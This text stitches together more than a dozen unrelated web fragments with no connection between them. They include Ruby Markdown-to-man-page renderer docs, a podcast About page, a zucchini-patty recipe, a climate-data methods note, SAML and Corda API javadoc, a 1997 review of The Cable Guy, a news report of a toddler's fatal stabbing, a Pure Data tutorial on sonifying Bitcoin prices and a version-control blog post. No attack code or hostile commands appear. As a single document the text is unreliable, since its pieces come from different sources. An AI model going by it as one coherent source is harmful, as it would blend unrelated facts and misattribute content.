Methods
- B
- C
- D
- E
- H
- L
- N
- P
Instance Public methods
block_code(code, language)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 9 def block_code(code, language) "\n.nf\n#{normal_text(code)}\n.fi\n" end
codespan(code)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 13 def codespan(code) block_code(code, nil) end
double_emphasis(text)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 30 def double_emphasis(text) "\\fB#{text}\\fP" end
emphasis(text)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 34 def emphasis(text) "\\fI#{text}\\fP" end
header(title, level)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 17 def header(title, level) case level when 1 "\n.TH #{title}\n" when 2 "\n.SH #{title}\n" when 3 "\n.SS #{title}\n" end end
linebreak()
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 38 def linebreak "\n.LP\n" end
list(content, list_type)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 46 def list(content, list_type) case list_type when :ordered "\n\n.nr step 0 1\n#{content}\n" when :unordered "\n.\n#{content}\n" end end
list_item(content, list_type)
Link
Source: show
# File req/redcarpet2/lib/redcarpet/render_man.rb, line 55 def list_item(content, list_type) case list_type when :ordered ".IP \\n+[step]\n#{content.strip}\n" when :unordered ".IP \\[bu] 2 \n#{content.strip}\n" end end


--- layout: page title: About categories: [] tags: [] status: publish type: page published: true meta: {} ---
The kind of conversation you have in office or conference hallways.
There are plenty of more-technical podcasts out there, and I don't really want to talk about libraries or text editors or anything related to the bits and bytes of being a developer.
I'm much more interested in the softer (so to speak) stuff. How'd you get to this point in your career? What's it like working remotely on a team of mostly on-site employees? What did you like most about the best job you ever had? If it's not your current job, what changed?
My own journey, career-wise, doesn't make a hell of a lot of sense (Sports Journalism to dev to management, back to dev, back to management), and I tend to find other people's stories along these lines fascinating.
But more than that, I'm less interested in what the work is than how it happens.
Every project and, for the purposes of this podcast, every person involved has a story.
And those stories are what ultimately interests me.
Hopefully, it interests you, too.


Zukini Bites
Description:
These cheesy zucchini patties are an excellent way to use up that abundance of zucchini from the garden.
Serve with a bit of tomato sauce or sour cream dabbed on top.
Serves : 4
Ingredients:
- 2 cups grated zucchini
- 2 eggs, beaten
- 1/4 cup chopped onion
- 1/2 cup all-purpose flour
- 1/2 cup grated Parmesan cheese
- 1/2 cup shredded mozzarella cheese
- salt to taste
- 2 tablespoons vegetable oil
Direction:
* In a medium bowl, combine the zucchini, eggs, onion, flour, Parmesan cheese,
mozzarella cheese, and salt. Stir well enough to distribute ingredients evenly.
* Heat a small amount of oil in a skillet over medium-high heat.
* Drop zucchini mixture by heaping tablespoonfuls, and cook for a few minutes
on each side until golden.
* Serve!


We used surface air temperature (TAS) data from the CRU 3.22 and IITM observational datasets. The CRU- 3.22 13 is a gridded temperature dataset at 0.5 × 0.5 resolution downloaded from https://crudata.uea.ac.uk/cru/data/hrg/cru_ts_3.22/. Spatially averaged monthly temperature data (1906–2005) for seven homogeneous temperature zones 14 and ALLIN region were downloaded from http://www.tropmet.res.in/static_page.php?page_id = 54.


menu
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John Doe
<EMAIL_ADDRESS>cloud
First Link With Icon
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JavaScript alert
This fuction is used for alerting a string/integer into the webpage's screen.
Demo
More info


Before Change
diseases.update(doid)
dictfile = "data/dicts/ncbi_training_diseases.txt"
terms = [line.strip().split("\t")[0] for line in open(dictfile).readlines()]
terms = {word:1 for word in terms if word.isupper()}
diseases.update(terms)
// filter by char length
diseases = {word:1 for word in diseases if len(word) > 1}
After Change
Load a dictionary of disease phrases **as a list**.
NOTE: Eventually we"ll want to pass along IDs
a = set()
// UMLS disorders
dictfile = "data/dicts/umls_disorders_v2.bz2"
diseases = [line.strip().split("\t")[0] for line in bz2.BZ2File(dictfile, "rb").readlines()]
a.update(w for w in diseases if w.isupper())
// Orphanet Rare Disease Ontology
a.update(w for w in load_bioportal_csv_dictionary("data/dicts/ordo.csv") if w.isupper())
// Human Disease Ontology
a.update(w for w in load_bioportal_csv_dictionary("data/dicts/DOID.csv") if w.isupper())
// filter by char length
a = [w for w in list(a) if len(w) > 1]
return a


Welcome
I love cheese, especially manchego swiss. ☺ Fromage queso jarlsberg cheesy feet emmental cottage cheese camembert de normandie bocconcini. Cottage cheese everyone loves cauliflower cheese rubber cheese squirty cheese halloumi cow fondue. Bocconcini cheese and biscuits everyone loves fondue red leicester st. agur blue cheese rubber cheese ricotta. Cheesy grin mozzarella.


Okay
Thank you 12
Hello krish! 3
Can we connect?
Will connect you
Thank you 4
I love you
Who you are?


A little bit about me
I had been thinking of doing something with web development or programming for a long time. But never took it seriously, after finishing a bachelor degree in tourism, I moved to NZ to study cookery, then working in a kitchen for over 5 years as a chef has made me realize that there is so much out there I haven't tried. And I felt like this is the right time for me to learn something new. And I found EDA amidst searching for different options. And here I am writing something about myself on this part of the course.


Perfume
Learn more about Perfume
Revison:85f927d03b0c
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Signature
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djQ music player
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Perfume
Synoptic
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Log
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Copyright © 2021 - Covid Api Application - created by: Vikas Sharma - All rights reserved


About Me
Hi! My name is Sean Melody, I am 35 years old, and am loving learning to code. Everything about the internet, webpages and how modern society is all based on the internet is super interesting, and I love it! Even if it can get frustrating when what you code doesn't seem to work correctly. Finding those mistakes and fixing them is very satisfying. So far my favorite part has been HTML/CSS and getting to design webpages, but I am excited to learn more about the backend of coding and how to incorporate Javascript and Python!
When not learning how to code, or working, you can find me trying to corral my adorable 6 month old kitten. She has so much energy and loves to be the center of attention, and needs to play all day, she has even taken to jumping onto my shoulders when she feels like I should be done on the computer, and play instead. I love it. If you would like to contact me, please check out my Contact Page.


THE CABLE GUY A film review by Scott Mendelson Copyright 1997 Scott Mendelson
1996 96 min. rated PG-13 (profanity, brief violence)
Directed by Ben Stiller
Starring:
Matthew Broderick Jim Carrey Leslie Mann Ben Stiller
The Cable Guy will get attention for three things: for being the film that Jim Carrey first got $20 million for, the film that gave Carrey the chance to ssttrreettcchh, and for being Carrey's first minor box-office disappointment. The surprising thing is that it is a very good movie. It's Carrey's best to date and Broderick's best performance since The Freshman(a little seen masterpiece with Marlon Brando). When he's not watching television, Chip Douglas(Jim Carrey) works as a free-lance cable guy as a way to meet potential friends(he was fired from dozens of real companies for stalking customers). His latest target is Steven(Matthew Broderick), a man living alone after he was turned down for marriage to his girlfriend. At first, he seems friendly but strange, taking Steven to a huge satellite dish (where he believes the entire world's cable comes from), or to a restaurant called Medieval Times, where Steven and Chip joust in the center ring(watch for Janeane Garfalo in a great bit as a waitress at the restaurant). But, after awhile, Steven doesn't need Chip anymore(Mann has come back). Chip is deeply hurt by this and sets out to ruin Steven's life. He turns Steven's family against him, gets Steve fired, and gets him tossed in jail for receiving stolen property. Matthew Broderick is the perfect Jim Carrey foil. His calm, quiet, sane acting style blends perfectly with Carrey's anything goes method. They should make another movie together in the near future(How about if Broderick plays the bad guy in the next Mask picture?). The rest of the cast does it's job well, but the movie is simply a showcase for Matt and Jim.  Well, he's solved that problem pretty well and I actually look forward to him taking on another psychopath.  Everything Chip Douglas knows, he learned from television. Every piece of advice he gives was from the tube, every joke he heard; from the tube, in essence, he IS television(no wonder his favorite restaurant is Medieval Times, its phony atmosphere is just like something that you'd see on TV). In the end, Chip's lack of knowledge of the real world has doomed him to live alone forever. He is such a tragic character that we(or at least I) wanted him to die. In the end, as he plunges from the cable dish(how perfect: the device that gave him "life" brings him death), we think that his suffering is over, that he is at last at peace(of course, Stiller copped out in letting Carrey live, as if watching him die would be too much for his young fans). Of course, this film is supposed to be a black comedy. It is very funny at times. During the first hour, Carrey's antic are silly, as usual(his singing of "Somebody to Love", during a karaoke party, is a classic). Even during the final 25 minutes, when Carrey takes on Broderick atop the dish, there is always a sense of spoof in the madness, I am particularly fond of the moment where Carrey mentions that real life doesn't have good suspense music; after which he starts humming the same tune on the soundtrack, or when he holds Mann hostage with... a staple gun. Best of all is a very funny subplot about a murder trial on the tube with former child sitcom star Stan Sweet(Ben Stiller) accused of murdering Sam Sweet(Ben Stiller), after their sitcom was canceled and they joined a religious cult(Stan claimed repeatedly on the 911 call that Asians killed his brother, a really nasty swipe at the Susan Smith case). Broderick once again proves he is a master at effective underacting, and Carrey proves he can play both good and evil. While the film is very funny, it was the creepy elements that entertained me. I'll remember Chip Douglas much longer than I'll remember AceVentura or Lloyd Christmas. "B+"
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Data Tables Upload API
+section title="Data Tables Upload API"
RAMADDA provides an upload API for each Data Tables entry.
The general form of the API is:
where param1, param2, etc are the column names as specified above.
One can view the example API for an entry
through the Information page (from the entry menu).
For the instrument example above the upload URL is of the form:
The key is an API key. These are defined by a site administrator in either a .properties file installed
in the RAMADDA home directory or through the Admin->Site and Contact Information->Extra Properties section.
The API keys are of the form:
db.apikey.<some API key>=<comma separated list of entry ids>
db.apikey.<some other API key>=<comma separated list of entry ids>
The above example would permit uploads to the DB entry with ID ff29d75c-8baf-4b17-b121-6c0e10eb9c60 or, the
entry ID could be an ancestor entry of the target DB entry. This allows for upload access to a group of DB
entries.
+callout-info
It is strongly encouraged to have the API key (e.g. "some_unique_password") be hard to guess.
-callout-info
+callout-info
Note: if no entry IDs are specified then the API key is valid for any entry.
-callout-info
For example with the key defintion:
The below URLs should work with the above API key definition:
https://hostname/db/upload?entryid=ff29d75c-8baf-4b17-b121-6c0e10eb9c60&temp=0.0&rh=0.0&key=some_unique_password
https://hostname/db/upload?entryid=d3016687-af06-4f06-acb5-d41bf19b8c33&temp=0.0&rh=0.0&key=some_unique_password
Or with the alternate URL:
https://hostname/measurements/url_create?instrument_id=ff29d75c-8baf-4b17-b121-6c0e10eb9c60&temp=0.0&rh=0.0&key=some_other_password
A JSON object is returned with either an error or an ok result.
-section


public interface Assertion extends SignableSAMLObject, Evidentiary
| Modifier and Type | Field and Description |
|---|---|
static String |
DEFAULT_ELEMENT_LOCAL_NAME
Element local name.
|
static QName |
DEFAULT_ELEMENT_NAME
Default element name.
|
static String |
ID_ATTRIB_NAME
ID attribute name.
|
static String |
ISSUE_INSTANT_ATTRIB_NAME
IssueInstant attribute name.
|
static String |
TYPE_LOCAL_NAME
Local name of the XSI type.
|
static QName |
TYPE_NAME
QName of the XSI type.
|
static String |
VERSION_ATTRIB_NAME
Version attribute name.
|
| Modifier and Type | Method and Description |
|---|---|
Advice |
getAdvice()
Gets the Advice for this assertion.
|
List<AttributeStatement> |
getAttributeStatements()
Gets the list of AttributeStatement attached to this assertion.
|
List<AuthnStatement> |
getAuthnStatements()
Gets the list of AuthnStatements attached to this assertion.
|
List<AuthzDecisionStatement> |
getAuthzDecisionStatements()
Gets the list of AuthzDecisionStatements attached to this assertion.
|
Conditions |
getConditions()
Gets the Conditions placed on this assertion.
|
String |
getID()
Sets the ID of this assertion.
|
DateTime |
getIssueInstant()
Gets the issue instance of this assertion.
|
Issuer |
getIssuer()
Gets the Issuer of this assertion.
|
List<Statement> |
getStatements()
Gets the list of statements attached to this assertion.
|
List<Statement> |
getStatements(QName typeOrName)
Gets the list of statements attached to this assertion that match a particular QName.
|
Subject |
getSubject()
Gets the Subject of this assertion.
|
SAMLVersion |
getVersion()
Gets the SAML Version of this assertion.
|
void |
setAdvice(Advice newAdvice)
Sets the Advice for this assertion.
|
void |
setConditions(Conditions newConditions)
Sets the Conditions placed on this assertion.
|
void |
setID(String newID)
Sets the ID of this assertion.
|
void |
setIssueInstant(DateTime newIssueInstance)
Sets the issue instance of this assertion.
|
void |
setIssuer(Issuer newIssuer)
Sets the Issuer of this assertion.
|
void |
setSubject(Subject newSubject)
Sets the Subject of this assertion.
|
void |
setVersion(SAMLVersion newVersion)
Sets the SAML Version of this assertion.
|
getSignatureReferenceID
getSignature, isSigned, setSignature
detach, getDOM, getElementQName, getIDIndex, getNamespaceManager, getNamespaces, getNoNamespaceSchemaLocation, getObjectMetadata, getOrderedChildren, getParent, getSchemaLocation, getSchemaType, hasChildren, hasParent, isNil, isNilXSBoolean, releaseChildrenDOM, releaseDOM, releaseParentDOM, resolveID, resolveIDFromRoot, setDOM, setNil, setNil, setNoNamespaceSchemaLocation, setParent, setSchemaLocation
static final String DEFAULT_ELEMENT_LOCAL_NAME
static final QName DEFAULT_ELEMENT_NAME
static final String TYPE_LOCAL_NAME
static final QName TYPE_NAME
static final String VERSION_ATTRIB_NAME
static final String ISSUE_INSTANT_ATTRIB_NAME
static final String ID_ATTRIB_NAME
SAMLVersion getVersion()
void setVersion(SAMLVersion newVersion)
newVersion
- the SAML Version of this assertionDateTime getIssueInstant()
void setIssueInstant(DateTime newIssueInstance)
newIssueInstance
- the issue instance of this assertionString getID()
void setID(String newID)
newID
- the ID of this assertionIssuer getIssuer()
void setIssuer(Issuer newIssuer)
newIssuer
- the Issuer of this assertionSubject getSubject()
void setSubject(Subject newSubject)
newSubject
- the Subject of this assertionConditions getConditions()
void setConditions(Conditions newConditions)
newConditions
- the Conditions placed on this assertionAdvice getAdvice()
void setAdvice(Advice newAdvice)
newAdvice
- the Advice for this assertionList<Statement> getStatements()
List<Statement> getStatements(QName typeOrName)
typeOrName
- the QName of the statements to returnList<AuthnStatement> getAuthnStatements()
List<AuthzDecisionStatement> getAuthzDecisionStatements()
List<AttributeStatement> getAttributeStatements()
Copyright © 1999–2016 Shibboleth Consortium. All rights reserved.


John Blalock
Coding projects that I have worked on at Epicodus.
Demonstrating jQuery by creating a web app with flash cards that flip over when clicked to reveal the other side.
Languages:
My first webpage made to practice HTML and CSS and Bootstrap.
Languages:
I worked as a nurse in Pediatric Onocology for 8 years before going on to get my masters in art. I worked as an independent artist doing hospital arts programing. Now I am pursing an interest in code.
Education
I am an artist focusing on technology arts such as imaging devices, 3d scanning, 3d animation, and film-making
Pinhole Photography:
Gallery


While complementary sensors provide useful data, it is not always obvious how to use this information to improve our estimation of a vehicle's characteristics. We are currently investigating constrained optimisation techniques that use complementary sensor data to reduce the ambiguity of this estimation. We will first describe optimisation in the context of iBWIM and then describe how additional information, for example the vehicle's class, can improve our estimate of the vehicle's parameters.
This approach rests on a number of assumptions which may be more or less valid depending on the properties of the bridge. When these assumptions break down, the analytical approach may not be robust, i.e. a small error in the model or the measurement may give rise to an estimate that is entirely wrong. Unfortunately, because the calculation is essentially a black box to the user, there is no way to correct or "steer" the estimate to more plausible values. Nor is it easy to incorporate information from outside the analytical model, for instance from complementary measurement systems or from plausibility constraints. Optimisation techniques are one way of incorporating additional sources of information and of avoiding the "brittleness" associated with an inversion model.
Optimisation approaches define a hypothetical vehicle, with initial guess about its axle loadings and pattern. The forward model is used to predict what strain signal would be produced by this vehicle. This prediction is compared with the measured signal and the difference between the two, the error value, is measured. Depending on the error term the vehicle model is adjusted to produce a prediction that fits the measurement more closely. This process of comparison and adjustment is repeated iteratively, until step by step the prediction converges with the measured signal. At this point, we assume that our model of the vehicle accurately represents the real vehicle.
The measured strain signal consists of a series of overlapping peaks—with each peak corresponding to one of the vehicle's axles.
In our model we approximate each of these peaks as a Gaussian parameterised by amplitude, mean and standard deviation.
Amplitude corresponds to the axle's loading, mean to its location (relative to the other axles), and standard deviation is a function of the dynamic
characteristics of vehicle and the bridge.
We vary the parameters of each Gaussians (shown in isolation in the lower graph) and approximate the strain strain signal with the sum of these Gaussians (top graph).
The error term is the difference between the measurement and the prediction.
As the estimate improves, the error term converges to zero.
We can gain more insight into the process by plotting the error as a function of the parameters we are trying estimate. To allow visualisation we limit ourselves to two parameters: the loadings of the second and third axles. In reality, we would be estimating something of the order of twenty parameters. To make the graph clearer we plot -1 times the error term—this means we are asking the algorithm to find the maxima of the error function. The algorithm's task is analogous to finding the highest point in a landscape, without a map and in the dark.
The landscape shown opposite illustrates two of the difficulties an optimisation algorithm may face.
The first is that there are multiple local maxima, i.e. there are three hills each of which has a summit that is highest point in its neighbourhood.
Although a summit may be the highest point in its own locality it might not be the highest point in the landscape.
In our application that means that there may be several vehicle models that can explain the strain signal reasonably well, though only one resembles the actual vehicle characteristics.
The traditional method for dealing with this problem is to run the algorithm several times with different initial guesses, then to select the best overall solution.
The second issue is connected with the ridge on which the global maxima lies. When a solution lies in a region, or a curve, where the error function is flat then varying one or more parameters may not have a dramatic effect on the quality of the fit—even if it radically changes the characteristics of the vehicle model. If this is the case, small measurement or model errors may result in us settling on a vehicle model that is radically wrong. In practice, both this problem, and the problem of local sub-optimal solutions are not unique to the optimisation approach. They are, after all, implicit in the physical system—it is just that they are more obvious is the explicit calculations carried out during optimisation.
One of the advantages of optimisation is that it allows us an easy way to introduce new information, either in the form of common sense or from complementary sensors. For instance, our complementary sensors might tell us that we are dealing with a Mercedes 3 axle tractor unit for a semi-trailer. With this information we can constrain the estimates of axle weights to the trapezoid discussed in the fig 1. We can, firstly limit our initial guesses for these parameters to be within the trapezoid and secondly, we can modify the penalty function to discourage solutions outside this area.
This is obviously a simplified example, we are optimising only two parameters, when a more realistic number would be twenty. However, in reality we would able to make very good initial guesses from simple peak finding in the strain signal. Together with constraints about plausible axle patterns and loadings, this will dramatically reduce the search space that must be optimised. This means computation is reduced and it is feasible to conduct the optimisation in real-time.


Sleeping boy, 3, dies after being stabbed multiple times by 'mum's ex-boyfriend'
Little Hunter was taken off life support after suffering severe brain damage from the attack at his home in Winnipeg, Canada
by Tiffany LoA sleeping toddler has died after being stabbed multiple times by his mother's ex-boyfriend in Winnipeg, Canada.
Three-year-old Hunter Haze Straight-Smith suffered severe brain damage during the brutal attack on Wednesday and was put on life support.
He was taken off the machine, breathed for a while and died on Saturday at Health Sciences Centre, aunt Roxanna Moar told CBC News .
The tragic incident came after mum Clarice Smith had an altercation with her ex-boyfriend, Daniel Jensen, 33, on Main Street.
Jensen is not Hunter's biological father, it is reported.
Police said Jensen walked to Clarice's home on Pritchard Avenue and attacked Hunter, who was sleeping at the time.
Clarice also suffered a number of injuries during the attack, the officers said.
They said she had been on and off with her ex-boyfriend Daniel Jensen, 33, for about six months and Jensen was under a court order not to contact Clarice.
Court records show he was charged with assault with a weapon and uttering threats to Clarice in July.
On Thursday, he was charged with attempted murder and assault causing bodily harm, and six counts of failing to comply with conditions of a recognizance and failing to comply with a probation order.
Bianca Smith, one of Hunter's aunts wrote in a Facebook post: "My life forever changed.
"I don't think this even hit me yet and I don't know how I'm gonna handle this when this does."
Tributes from Hunter's family and friends have poured in and held two vigils in support of the child.
Const. Rob Carver said in a press conference: "The family has to live with that every day and will for the rest of their lives.
"People in the community who may not even have known the individual but live there are traumatised when they know someone's been killed on their block or their street or their community.
"I think it touches everyone who hears about it in different ways."


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public class Driver
| Modifier and Type | Method and Description |
|---|---|
static com.google.common.util.concurrent.ListenableFuture<kotlin.Unit> |
addressMustBeBound(java.util.concurrent.ScheduledExecutorService executorService,
com.google.common.net.HostAndPort hostAndPort) |
static com.google.common.util.concurrent.ListenableFuture<kotlin.Unit> |
addressMustNotBeBound(java.util.concurrent.ScheduledExecutorService executorService,
com.google.common.net.HostAndPort hostAndPort) |
static <A> A |
driver(boolean isDebug,
java.nio.file.Path driverDirectory,
PortAllocation portAllocation,
PortAllocation debugPortAllocation,
boolean useTestClock,
kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <A> A |
driver(boolean isDebug,
java.nio.file.Path driverDirectory,
PortAllocation portAllocation,
PortAllocation debugPortAllocation,
kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <A> A |
driver(boolean isDebug,
java.nio.file.Path driverDirectory,
PortAllocation portAllocation,
kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <A> A |
driver(boolean isDebug,
java.nio.file.Path driverDirectory,
kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <A> A |
driver(boolean isDebug,
kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <A> A |
driver(kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this:
driver {
val noService = startNode("NoService")
val notary = startNode("Notary")
|
static <DI extends DriverDSLExposedInterface,D extends DriverDSLInternalInterface,A> |
genericDriver(D driverDsl,
kotlin.jvm.functions.Function1<? super D,? extends DI> coerce,
kotlin.jvm.functions.Function1<? super DI,? extends A> dsl)
This is a helper method to allow extending of the DSL, along the lines of
interface SomeOtherExposedDSLInterface : DriverDSLExposedInterface
interface SomeOtherInternalDSLInterface : DriverDSLInternalInterface, SomeOtherExposedDSLInterface
class SomeOtherDSL(val driverDSL : DriverDSL) : DriverDSLInternalInterface by driverDSL, SomeOtherInternalDSLInterface
|
static java.lang.String |
getTimestampAsDirectoryName() |
static void |
writeConfig(java.nio.file.Path path,
java.lang.String filename,
com.typesafe.config.Config config) |
public static <A> A driver(boolean isDebug, java.nio.file.Path driverDirectory, PortAllocation portAllocation, PortAllocation debugPortAllocation, boolean useTestClock, kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
driverDirectory
- The base directory node directories go into, defaults to "build//". The node
directories themselves are "//", where legalName defaults to "-"
and may be specified in DriverDSL.startNode.portAllocation
- The port allocation strategy to use for the messaging and the web server addresses. Defaults to incremental.debugPortAllocation
- The port allocation strategy to use for jvm debugging. Defaults to incremental.useTestClock
- If true the test clock will be used in Node.isDebug
- Indicates whether the spawned nodes should start in jdwt debug mode.dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <A> A driver(boolean isDebug, java.nio.file.Path driverDirectory, PortAllocation portAllocation, PortAllocation debugPortAllocation, kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
driverDirectory
- The base directory node directories go into, defaults to "build//". The node
directories themselves are "//", where legalName defaults to "-"
and may be specified in DriverDSL.startNode.portAllocation
- The port allocation strategy to use for the messaging and the web server addresses. Defaults to incremental.debugPortAllocation
- The port allocation strategy to use for jvm debugging. Defaults to incremental.isDebug
- Indicates whether the spawned nodes should start in jdwt debug mode.dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <A> A driver(boolean isDebug, java.nio.file.Path driverDirectory, PortAllocation portAllocation, kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
driverDirectory
- The base directory node directories go into, defaults to "build//". The node
directories themselves are "//", where legalName defaults to "-"
and may be specified in DriverDSL.startNode.portAllocation
- The port allocation strategy to use for the messaging and the web server addresses. Defaults to incremental.isDebug
- Indicates whether the spawned nodes should start in jdwt debug mode.dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <A> A driver(boolean isDebug, java.nio.file.Path driverDirectory, kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
driverDirectory
- The base directory node directories go into, defaults to "build//". The node
directories themselves are "//", where legalName defaults to "-"
and may be specified in DriverDSL.startNode.isDebug
- Indicates whether the spawned nodes should start in jdwt debug mode.dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <A> A driver(boolean isDebug, kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
isDebug
- Indicates whether the spawned nodes should start in jdwt debug mode.dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <A> A driver(kotlin.jvm.functions.Function1<? super net.corda.node.driver.DriverDSLExposedInterface,? extends A> dsl)
driver allows one to start up nodes like this: driver { val noService = startNode("NoService") val notary = startNode("Notary")
(...)
}
Note that DriverDSL.startNode does not wait for the node to start up synchronously, but rather returns a Future
of the class NodeInfo
that may be waited on, which completes when the new node registered with the network map service.
The driver implicitly bootstraps a interface NetworkMapService
.
dsl
- The dsl itself.class NodeInfo
,
interface NetworkMapService
public static <DI extends DriverDSLExposedInterface,D extends DriverDSLInternalInterface,A> A genericDriver(D driverDsl, kotlin.jvm.functions.Function1<? super D,? extends DI> coerce, kotlin.jvm.functions.Function1<? super DI,? extends A> dsl)
This is a helper method to allow extending of the DSL, along the lines of interface SomeOtherExposedDSLInterface : DriverDSLExposedInterface interface SomeOtherInternalDSLInterface : DriverDSLInternalInterface, SomeOtherExposedDSLInterface class SomeOtherDSL(val driverDSL : DriverDSL) : DriverDSLInternalInterface by driverDSL, SomeOtherInternalDSLInterface
coerce
- We need this explicit coercion witness because we can't put an extra DI : D bound in a where
clause.public static java.lang.String getTimestampAsDirectoryName()
public static com.google.common.util.concurrent.ListenableFuture<kotlin.Unit> addressMustBeBound(java.util.concurrent.ScheduledExecutorService executorService, com.google.common.net.HostAndPort hostAndPort)
public static com.google.common.util.concurrent.ListenableFuture<kotlin.Unit> addressMustNotBeBound(java.util.concurrent.ScheduledExecutorService executorService, com.google.common.net.HostAndPort hostAndPort)
public static void writeConfig(java.nio.file.Path path, java.lang.String filename, com.typesafe.config.Config config)


This tutorial will show you, how you can get data from a simple RESTful webservice and generate sound from it.
In this tutorial, I will use the following notation:
[my object]
: an object with the name "my-object".
[my own message(
: a message with the content "my own message".
Getting the Data
This example gets the daily trading prices of Bitcoin. In its current implementation, it takes the data from Bitcoin Average, and translates the data from csv to JSON.
After designing the data online, we query the webservice with a GET request using [rest]
.
The data then looks something like this:
[
{"DAY":"2010-07-17","USD":0.05,"VOLUME":20},
{"DAY":"2010-07-18","USD":0.07,"VOLUME":75.01},
{"DAY":"2010-07-19","USD":0.09,"VOLUME":574},
{"DAY":"2010-07-20","USD":0.08,"VOLUME":262}
]
When the data is received, the returned value is fed into [json-decode]
. As the symbol atom from [rest]
will be a JSON array, we will get messages for each JSON object on the left outlet followed by a bang on the right outlet.
A sequence of messages for an object looks like this:
list DAY 2012-09-22
list USD 12.2
list VOLUME 16883.95
Processing the Data
This section discusses the operations in the subpatch [pd process-data]
.
In this subpatch, the incoming lists from [json-decode]
are taken and packed into one list for each JSON object in the array.
First, we remove the list
prefix from each message, then pack those messages, and use the bang message from the right outlet of [json-decode]
that is emitted after each decoded array member to trigger the output of [pack]
. The transformed message for each JSON object then looks like:
0 4.8743 2011-09-30
Each output from put starts with a 0
, as we only use the bang on the first inlet of [pack]
to trigger the output. We also discard Euro rates and only care for US Dollar.
We then use [fifop]
from zexy to store the values. This is FIFO buffer, that advances on bang
.
After the data is output from [fifop]
, the list is unpacked and connected to seperate outlets. Note: We discard the leading 0
.
Stepping through each values
This section discusses the operations in the subpatch [pd stepper]
.
This subpatch starts a [metro]
after all data is stored in the [fifop]
inside [pd process-data]
. When [fifop]
is done, the bang
from the right outlet of it is used to stop the [metro]
.
Generating sound
Sound generation is the bottom part of the main patch.
The exchange rate for Bitcoins vary widely, with values ranging from ca. 3 US$/Bitcoin to ca. 800 US$/Bitcoin. To make any sense of the exchange rates, and especially to get some short term variation in pitch change, scaling the data logarithmically makes sense.
Different data might benefit from other scaling methods, linear or exponential.


Version Control Intro
A Technical Blog
Saturday, February 13 2016
What are the benefits of Version Control? Version control allows users to view the entire history of revisions to one or more files, and merge revisions made by different people. One way to use version control is through GitHub, a web based version control and source code management system. Since version control allows each individual user to work on their own iteration of the file, it makes collaboration far easier. It also allows for quality control, since potential changes to the master file are peer-reviewed before they are merged. In addition, version control lets teams see each individual change in a log history, and it is possible to revert back to any revision in case of an error. This makes experimenting with new features for a program far less risky. Finally, version control acts as a back-up for your files, since a full version of any given file is saved on the web.
